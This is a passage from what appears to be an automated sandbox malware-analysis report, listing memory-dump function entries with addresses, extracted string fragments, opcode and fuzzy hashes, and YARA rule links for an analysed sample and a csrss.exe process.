Source File: 00000021.00000002.1910172742.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction ID: 54bcb275cae05ce4cefc1e6d452f27e05448fe6a51c1c735cce1f41f21f1f119
Opcode Fuzzy Hash: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction Fuzzy Hash: CAC04C06F7B62F01FC3673EE98660ACA9415FDDE10FD70172D54C400E1AD4D22D50256

Function 00007FFD9B8961DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1910172742.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4b6ffd3c616ec57c51fa86622ac21550f4ce5d2c91e36f4be7e9226a4cbfbd0
Instruction ID: af6e4a394b548111b26025d8ac856507097c46861620f42376bb6a1ecfbc29d9
Opcode Fuzzy Hash: f4b6ffd3c616ec57c51fa86622ac21550f4ce5d2c91e36f4be7e9226a4cbfbd0
Instruction Fuzzy Hash: 7EC04C51F2DC1A16F75A6614493157E48539F88798FD54074E01EC72CECD1C5B024287

Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000021.00000002.1910172742.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: 20a0e8ea38b26b097e4b4dc69544e07252542b887743d3d39ef6fcd244df8182
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: B6B01200D7741F00EC2433FB085206478405B8C500FC20070D80C40091E84D12940342

Non-executed Functions

Function 00007FFD9B8A05A5 Relevance: 11.6, Strings: 9, Instructions: 362COMMON

Download Yara Rule

Strings

M_^0, xrefs: 00007FFD9B8A0722
M_^9, xrefs: 00007FFD9B8A076A
M_^%, xrefs: 00007FFD9B8A06C9
M_^;, xrefs: 00007FFD9B8A077A
+<M, xrefs: 00007FFD9B8A088F
M_^$, xrefs: 00007FFD9B8A06C2
]+=, xrefs: 00007FFD9B8A078E
M_^1, xrefs: 00007FFD9B8A072A
M_^8, xrefs: 00007FFD9B8A0762

Memory Dump Source

Source File: 00000021.00000002.1910172742.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b8a0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M_^$$M_^%$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-891763995
Opcode ID: 323b6791108e2f1d79fb4e7e8d4ba5052ce98ce449f5ad03b82d0080fe5d891a
Instruction ID: 436637bb78173eb1acf1d3ae442d4b72ad839c5aeb7fac3d54be4f1043375ce9
Opcode Fuzzy Hash: 323b6791108e2f1d79fb4e7e8d4ba5052ce98ce449f5ad03b82d0080fe5d891a
Instruction Fuzzy Hash: 28911F97B0D53A89D30E36AD7D6A8FD7B00DF8223970843B7D1AE8B0C7AC48608751D5

Function 00007FFD9B8A06D3 Relevance: 11.5, Strings: 9, Instructions: 227COMMON

Download Yara Rule

Strings

M_^0, xrefs: 00007FFD9B8A0722
M_^9, xrefs: 00007FFD9B8A076A
M_^%, xrefs: 00007FFD9B8A06C9
M_^;, xrefs: 00007FFD9B8A077A
+<M, xrefs: 00007FFD9B8A088F
M_^$, xrefs: 00007FFD9B8A06C2
]+=, xrefs: 00007FFD9B8A078E
M_^1, xrefs: 00007FFD9B8A072A
M_^8, xrefs: 00007FFD9B8A0762

Memory Dump Source

Source File: 00000021.00000002.1910172742.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b8a0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M_^$$M_^%$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-891763995
Opcode ID: a76a0c19b5a0a1608b31703acbd0a5b7b06916ccd475b83a822a39fbb4bcf29d
Instruction ID: 5b03a5496408991bdcf1e0e9d2bcdb2af46408014f47790f567bdaad5279a9ea
Opcode Fuzzy Hash: a76a0c19b5a0a1608b31703acbd0a5b7b06916ccd475b83a822a39fbb4bcf29d
Instruction Fuzzy Hash: DB513F96B0C53685E31E37A83E6A9F92704CF4133DB0487B7E16E8A0DB6C9D648361D9

Function 00007FFD9B8A06FA Relevance: 10.2, Strings: 8, Instructions: 215COMMON

Download Yara Rule

Strings

M_^0, xrefs: 00007FFD9B8A0722
M_^9, xrefs: 00007FFD9B8A076A
M_^;, xrefs: 00007FFD9B8A077A
+<M, xrefs: 00007FFD9B8A088F
M_^+, xrefs: 00007FFD9B8A06FA
]+=, xrefs: 00007FFD9B8A078E
M_^1, xrefs: 00007FFD9B8A072A
M_^8, xrefs: 00007FFD9B8A0762

Memory Dump Source

Source File: 00000021.00000002.1910172742.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b8a0000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: M_^+$M_^0$M_^1$M_^8$M_^9$M_^;$]+=$+<M
API String ID: 0-1271997427
Opcode ID: 6277eb1126aa9190b1e177d63a09428f6f50a705f6de5d57284840fd37de887f
Instruction ID: 6d081ac6525d67a2a227d827330dc544efa4c9de401213a7af1bb2b0079ba7ea
Opcode Fuzzy Hash: 6277eb1126aa9190b1e177d63a09428f6f50a705f6de5d57284840fd37de887f
Instruction Fuzzy Hash: 3E512293A0C53684E30E36B83E6A9FD2704CF4137DB0487B7E16E8A0CB6C9C648361D9

Function 00007FFD9B8909B0 Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD9B890B3E
c9, xrefs: 00007FFD9B890B56
!k9, xrefs: 00007FFD9B890B4E
"s9, xrefs: 00007FFD9B890B46

Memory Dump Source

Source File: 00000021.00000002.1910172742.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_7ffd9b890000_SKldWJijnIiMahBoQJBr.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 7728e2895f31fdb70d85e51e0f617a9a667271e4eacce4fd52b16b7a6b83e3f1
Instruction ID: 6d9b1f384a9aeedcfe680253e9fb06775860d90a8925d43fa8f2b5ba7ae2950f
Opcode Fuzzy Hash: 7728e2895f31fdb70d85e51e0f617a9a667271e4eacce4fd52b16b7a6b83e3f1
Instruction Fuzzy Hash: 6541C147B1957686E21F33FC79299ED9B84CF8527DB0842B7E16E8A0C75C88208393E5

Analysis Process: csrss.exePID: 7688, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B890D4C Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

5Z_H, xrefs: 00007FFD9B890DF3

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: 2bccb4cef8487eb9246314ac27fac3b4acb6864b4fc6da354f8370c9f533366f
Instruction ID: 3351e7637495988de59f0993c53932a50736ce4b397fad36d76ce911712fe466
Opcode Fuzzy Hash: 2bccb4cef8487eb9246314ac27fac3b4acb6864b4fc6da354f8370c9f533366f
Instruction Fuzzy Hash: EB91D071A19A9D4FEB99DB6C8C797A9BFE1FF5A310F4000BAD149C72E2DA7824118701

Function 00007FFD9B8C1625 Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f01aa8b8c5809ab2217a0cd3fa355115daef65a85e3b0261cd583b18fda21fc6
Instruction ID: e5aa37ee21108cab27d4aa3905c791a9704063ce3d7aa35f3e256b2e2dd9fb74
Opcode Fuzzy Hash: f01aa8b8c5809ab2217a0cd3fa355115daef65a85e3b0261cd583b18fda21fc6
Instruction Fuzzy Hash: 84D10E71E2E6990BE32D7B688CD21B177D1EB86305B59837ED8DBC309BD928A50743C1

Function 00007FFD9B8C880D Relevance: 2.7, Strings: 2, Instructions: 151COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD9B8C8762
J_^, xrefs: 00007FFD9B8C882A

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID: J_^$J_^
API String ID: 0-3829478358
Opcode ID: 19b962b9118de085bc1248ac623dfbfe26026f791e5455f18b734f97baa9b5c1
Instruction ID: 52c7b1217cfc59b17a6539bc56a5c16f361d047ef856656672d4caf947560a3e
Opcode Fuzzy Hash: 19b962b9118de085bc1248ac623dfbfe26026f791e5455f18b734f97baa9b5c1
Instruction Fuzzy Hash: 2F4103B7A0B16A4BE31AAB6EECA64F43791FF95228B0901F3C4D88B153FC14680F4155

Function 00007FFD9B8C86F0 Relevance: 2.6, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD9B8C8762
J_^, xrefs: 00007FFD9B8C8712

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID: J_^$J_^
API String ID: 0-3829478358
Opcode ID: cd4b2e59c6e8676d45614aa8b16d1f485eb4184eaaf68feef2a1d6047cb67d65
Instruction ID: 346c957cd1a71479cfd736ad0fbae8d55a645bb6731e3dc5769b7c3410066220
Opcode Fuzzy Hash: cd4b2e59c6e8676d45614aa8b16d1f485eb4184eaaf68feef2a1d6047cb67d65
Instruction Fuzzy Hash: 1B31F6F3A0A66A4BE71AAB6DECA64E437D1FF15218B0902F7D4D88B153FC14680B8145

Function 00007FFD9B8C8835 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD9B8C886A

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID: J_^
API String ID: 0-868019308
Opcode ID: c204453e4257fa12ed61ba545bb84fc17775fe7a5ae88b06a92b4008396d152e
Instruction ID: df6869aacf3fff118c6da3fec550e806cd1334a566ccd9012026880d62f92770
Opcode Fuzzy Hash: c204453e4257fa12ed61ba545bb84fc17775fe7a5ae88b06a92b4008396d152e
Instruction Fuzzy Hash: 6301AFB3E095498FD719971DDCA68B033E0FF58714B0602F7C894CB523F92469A68681

Function 00007FFD9B8CAB69 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8CAB86

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: d1afe39065151f1bf16a4e2c17ed9d6e75258f4cfcdd504334c3526ce55d8a2a
Instruction ID: 41bbc0858c2e7d86a69b140d9492761b8fe3181c314d49ee6d3e9cfa965d4fb1
Opcode Fuzzy Hash: d1afe39065151f1bf16a4e2c17ed9d6e75258f4cfcdd504334c3526ce55d8a2a
Instruction Fuzzy Hash: 7AE06D3060E3C58FC71AAB348869854BF60EE6721134A42EFC445CF5A3DA2D8889CB11

Function 00007FFD9B8C21E9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8C2206

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 8c85d293a7f841cf7bb35c5fec70fd9ce29aa14d01f197a34035b40258eaac6b
Instruction ID: 116f008a77c405e3babde33686b1f579169796eeaa22f6eb93e01eec3bf44f08
Opcode Fuzzy Hash: 8c85d293a7f841cf7bb35c5fec70fd9ce29aa14d01f197a34035b40258eaac6b
Instruction Fuzzy Hash: 00E06D2060E3C08FCB16AB3488688547FA0EE6720174A52EFC046CF1A3EA2D8985CB01

Function 00007FFD9B8C3479 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8C3496

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: e7b5cc0fc85a29af10ce8a1d418bf222c095bfde7f4e21b5a3951de569c3493b
Instruction ID: 1909a5492b0ccd395e66565f01b7afcf1c525d4f63b91859bf27711c0b5701e5
Opcode Fuzzy Hash: e7b5cc0fc85a29af10ce8a1d418bf222c095bfde7f4e21b5a3951de569c3493b
Instruction Fuzzy Hash: FBE0657150E7C44FC716AA3488698647FA0EF6720174A41EFC045CF5A3DA2D8885C701

Function 00007FFD9B8A3F19 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8A3F36

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 070f45eef2cf7c7e6444c64c8ddf1d0ef02199f54caf9289ab59cc6f6012fd8c
Instruction ID: b193d826a1e94ac4d4b6a0de533ad558192e1adbc5473ac02444ebc716000b48
Opcode Fuzzy Hash: 070f45eef2cf7c7e6444c64c8ddf1d0ef02199f54caf9289ab59cc6f6012fd8c
Instruction Fuzzy Hash: C1E06571A1E7C44FC716E67488694547FA0EF6721174A41EFC045CF1A7DA1D8845C711

Function 00007FFD9B8C83D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8C83F6

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 4da6f48face4454b9ed7929cbc071c62f43725251f4b4a2e4d3c2b77982ef3dc
Instruction ID: fce315d65909a511189f9bef149724efc422f72f75f7b1d1bd3c7b7e9c7d9737
Opcode Fuzzy Hash: 4da6f48face4454b9ed7929cbc071c62f43725251f4b4a2e4d3c2b77982ef3dc
Instruction Fuzzy Hash: B3E01A7154E3C08FCB0AAB748869C543FB0AE6B21078B41DEC049CF1B3D62DC949C711

Function 00007FFD9B8C2279 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8C2296

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: b18d00a4f577e12bc260ea3574444e5c8326bfb1cb27f823a4b8deb40d699b55
Instruction ID: af5ea34934ecae9a52b466c3b42dd7c7212ae5f0112c5de488d376696ffdcbd1
Opcode Fuzzy Hash: b18d00a4f577e12bc260ea3574444e5c8326bfb1cb27f823a4b8deb40d699b55
Instruction Fuzzy Hash: 75E04F7154A3C04FCB06EB748469C543FB0EE6721078B41DEC04ACF1B3E62D8949C701

Function 00007FFD9B8B9639 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8B9656

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8b3000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 40446d87164e1c41f8091e718dae7a4b684ed41eea8b19cbdb774a09d95a3c61
Instruction ID: 09afabde410a075838604cb405c1b720a30f4594a3d912ac7f9a6f539754667b
Opcode Fuzzy Hash: 40446d87164e1c41f8091e718dae7a4b684ed41eea8b19cbdb774a09d95a3c61
Instruction Fuzzy Hash: 78E01A7054A3C04FCB06EB7484699543FA0DE6721178B41DEC089CB1B3E62D8949C701

Function 00007FFD9B8B5D39 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8B5D56

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8b3000_csrss.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 9b1ef88df2f08d9ff55717bf65cad94d560818fa6ed4efdd165aae5e01f2504d
Instruction ID: 3820f25ebd74c859795e2c6349dd449c92af116eea479731ed8758952e8702fb
Opcode Fuzzy Hash: 9b1ef88df2f08d9ff55717bf65cad94d560818fa6ed4efdd165aae5e01f2504d
Instruction Fuzzy Hash: 3EE01A6194F7D54FCB5AEB7488798447FA0AE6B21078F41EEC086CF1B3E62D8949C701

Function 00007FFD9B8C7595 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa5b9085dececee5afdebe30ad35789d308419b547c7a323c12f9bc769e62426
Instruction ID: ba01671b9ae44f1a5e77fb7535e493f2e950934e9b89ec57ccddda91096e5c5d
Opcode Fuzzy Hash: aa5b9085dececee5afdebe30ad35789d308419b547c7a323c12f9bc769e62426
Instruction Fuzzy Hash: 05C13575A0D6898FE765EF68C8646753BA1EF8A314F1940BFD04DC71E3CA29AC42C781

Function 00007FFD9B8B9821 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8b3000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9fc2932ddd3cceaba0087ff8cd98a1991a0f469dadd5c91d512a31d1d19c541
Instruction ID: 666b08cf6b1d03a0b3a8d751612d8c0f53cabed4a77b2dcb8f2c24ff1823b95d
Opcode Fuzzy Hash: a9fc2932ddd3cceaba0087ff8cd98a1991a0f469dadd5c91d512a31d1d19c541
Instruction Fuzzy Hash: C3A18130B189194FDB58EB68C8A5AB977E1FF98314F514579D01EC3296DF38A842CB81

Function 00007FFD9B8908D0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c46e63e7c5639684a3cd2f4cac817bedf69108830eda740d9a8981770fc68a6
Instruction ID: 7c57ef31618c5bac9cd3ee08791593c95a4a268744663f9f5a58421edcdc5e0c
Opcode Fuzzy Hash: 5c46e63e7c5639684a3cd2f4cac817bedf69108830eda740d9a8981770fc68a6
Instruction Fuzzy Hash: 2C415822B0D5694FE719B7BC74BA6F97B80DF49329B0404BBD04EC71E7DD18A8428385

Function 00007FFD9B890998 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f239ae5e392f4622cbc746bea9a793801a38ea53704006a0828d107ca72ae6e
Instruction ID: 8dbfaf340e153843b04c2b9b83c6b3aca88020392f149c289bbbbb8cb7e57346
Opcode Fuzzy Hash: 1f239ae5e392f4622cbc746bea9a793801a38ea53704006a0828d107ca72ae6e
Instruction Fuzzy Hash: 19210821B1D95E0FEB58E76C587A6797AC6EF9D311F4100BAE40EC32E7DD28ED428241

Function 00007FFD9B8C26A8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d23c4cee7e47a278cb516f26fd8a7a06c116b9b1d4d9acdc5993f36d71375982
Instruction ID: 5eba3d24ae40a449a93b0e75a613967fb0d3183004802f551e3e0485045d2882
Opcode Fuzzy Hash: d23c4cee7e47a278cb516f26fd8a7a06c116b9b1d4d9acdc5993f36d71375982
Instruction Fuzzy Hash: E9210862B0D94E4FE798FBEC98F66B86281EF58314F1502B7E40CC31E3DC2969864341

Function 00007FFD9B890C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eed9ff2327e4a1e08fe4237ea8205f1562410fd9696f8326e9aa3767f44f7b2b
Instruction ID: 52d2883beafdf44a183a3783a2b26a1d5a71067cc55ee6e14b04367d88d35487
Opcode Fuzzy Hash: eed9ff2327e4a1e08fe4237ea8205f1562410fd9696f8326e9aa3767f44f7b2b
Instruction Fuzzy Hash: A1213A36B1E25D8FEB22A7E89C250EC7F60EF46328F0641F3D0588B1D3D93826469781

Function 00007FFD9B8C8768 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5278d9e59267322448d8f1189488b51cd7f683de66805c582c37ca3a0f17e77c
Instruction ID: f15a104612b924081fc30874228c99c6cb2f3d3dc2f73a279d52e2ec8c699b23
Opcode Fuzzy Hash: 5278d9e59267322448d8f1189488b51cd7f683de66805c582c37ca3a0f17e77c
Instruction Fuzzy Hash: 292126B3A0B16A8BE71AAB6DEC664F43791FF5521CB0901F3C4D88B193FC24750B8249

Function 00007FFD9B8CB360 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 453dd08d4cdf7379888f332ef06c9c38bc29dcbaa2613e1afd00942c3ee9dfed
Instruction ID: a74948ef1ed938d1627c863ab9e511f02d17ee62729b542868a7340ab13297e2
Opcode Fuzzy Hash: 453dd08d4cdf7379888f332ef06c9c38bc29dcbaa2613e1afd00942c3ee9dfed
Instruction Fuzzy Hash: 9A21A4B1B0992D8FE764FBA884A57B976D5FF5C300F414176D00DC31D1DA28A942C781

Function 00007FFD9B8A458D Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8a0000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49011f7d84338164836c9aa7749ab3dc6355b256a7fff5a8e40a8f12d004c39b
Instruction ID: 6fb746677165c1aca8fe16752c79912a2121609296cca5eb4aace36ef8dd268d
Opcode Fuzzy Hash: 49011f7d84338164836c9aa7749ab3dc6355b256a7fff5a8e40a8f12d004c39b
Instruction Fuzzy Hash: 45212C30F0941F8AEB649B94DC65ABE76A1FF48300F540639D119D22A9DF7865018690

Function 00007FFD9B8C8790 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd8a0c358fccc5883663d80d0b9d62034156678199c79510f04807655811322
Instruction ID: 7aa5e94cb4ff6a7f98ec6590a6682e2d145688e66f6abe8d215932236d799f91
Opcode Fuzzy Hash: 2cd8a0c358fccc5883663d80d0b9d62034156678199c79510f04807655811322
Instruction Fuzzy Hash: F0113AB3A0F5654BE30AB76DECA68E437D0FF4622870C01F7C0998B1A3FC08684A8245

Function 00007FFD9B8C2972 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b8c1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d041ed2686b70c97708d8eed69f849114ee33b5111e5bc1a41f6cbe8e8d13e38
Instruction ID: f9c715958b1a640e42489167dd8fb6d75734939fda70283ec78e8751e662562a
Opcode Fuzzy Hash: d041ed2686b70c97708d8eed69f849114ee33b5111e5bc1a41f6cbe8e8d13e38
Instruction Fuzzy Hash: F611D671A0D91E8FEB68FF88C8B17B873A1EB58310F15027AD40DC72D6CD286D868781

Function 00007FFD9B89108D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1993749712.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9b890000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f255bb7ff81ef859012a2e16625885e6b73b8ea8db80a3762f9a719796b4303
Instruction ID: f356c1689beeda615277fe59810352c4cb5d8ca421513e36f68436147e60eedd
